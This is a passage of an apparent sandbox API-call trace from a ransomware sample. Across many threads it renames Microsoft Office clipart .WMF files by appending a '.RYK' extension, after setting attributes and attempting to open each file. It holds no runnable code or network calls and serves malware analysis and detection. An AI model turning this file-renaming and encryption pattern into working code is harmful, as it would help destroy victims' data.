	[0197.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1531
	os_tid = 0x1dd0

	[0197.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF", dwFileAttributes=0x80) returned 0
	[0197.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.826] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1532
	os_tid = 0x1dd4

	[0197.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF", dwFileAttributes=0x80) returned 0
	[0197.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1533
	os_tid = 0x1dd8

	[0197.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF", dwFileAttributes=0x80) returned 0
	[0197.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1534
	os_tid = 0x1ddc

	[0197.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF", dwFileAttributes=0x80) returned 0
	[0197.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1535
	os_tid = 0x1de0

	[0197.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF", dwFileAttributes=0x80) returned 0
	[0197.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1536
	os_tid = 0x1de4

	[0197.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF", dwFileAttributes=0x80) returned 0
	[0197.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1537
	os_tid = 0x1de8

	[0197.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF", dwFileAttributes=0x80) returned 0
	[0197.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1538
	os_tid = 0x1dec

	[0197.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF", dwFileAttributes=0x80) returned 0
	[0197.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1539
	os_tid = 0x1df0

	[0197.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF", dwFileAttributes=0x80) returned 0
	[0197.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.840] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1540
	os_tid = 0x1df4

	[0198.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF", dwFileAttributes=0x80) returned 0
	[0198.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1542
	os_tid = 0x1e00

	[0198.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF", dwFileAttributes=0x80) returned 0
	[0198.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1543
	os_tid = 0x1e04

	[0198.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF", dwFileAttributes=0x80) returned 0
	[0198.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.101] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1544
	os_tid = 0x1e08

	[0198.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF", dwFileAttributes=0x80) returned 0
	[0198.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1545
	os_tid = 0x1e0c

	[0198.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF", dwFileAttributes=0x80) returned 0
	[0198.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1546
	os_tid = 0x1e10

	[0198.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF", dwFileAttributes=0x80) returned 0
	[0198.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1547
	os_tid = 0x1e14

	[0198.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF", dwFileAttributes=0x80) returned 0
	[0198.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.357] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1548
	os_tid = 0x1e18

	[0198.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF", dwFileAttributes=0x80) returned 0
	[0198.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1549
	os_tid = 0x1e1c

	[0198.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF", dwFileAttributes=0x80) returned 0
	[0198.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1550
	os_tid = 0x1e20

	[0198.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF", dwFileAttributes=0x80) returned 0
	[0198.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1551
	os_tid = 0x1e24

	[0198.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF", dwFileAttributes=0x80) returned 0
	[0198.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1552
	os_tid = 0x1e28

	[0198.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF", dwFileAttributes=0x80) returned 0
	[0198.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1553
	os_tid = 0x1e2c

	[0198.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF", dwFileAttributes=0x80) returned 0
	[0198.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1555
	os_tid = 0x1e34

	[0198.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF", dwFileAttributes=0x80) returned 0
	[0198.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1556
	os_tid = 0x1e38

	[0198.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF", dwFileAttributes=0x80) returned 0
	[0198.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1557
	os_tid = 0x1e3c

	[0198.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF", dwFileAttributes=0x80) returned 0
	[0198.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0198.387] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0198.387] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1558
	os_tid = 0x1e40

	[0198.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF", dwFileAttributes=0x80) returned 0
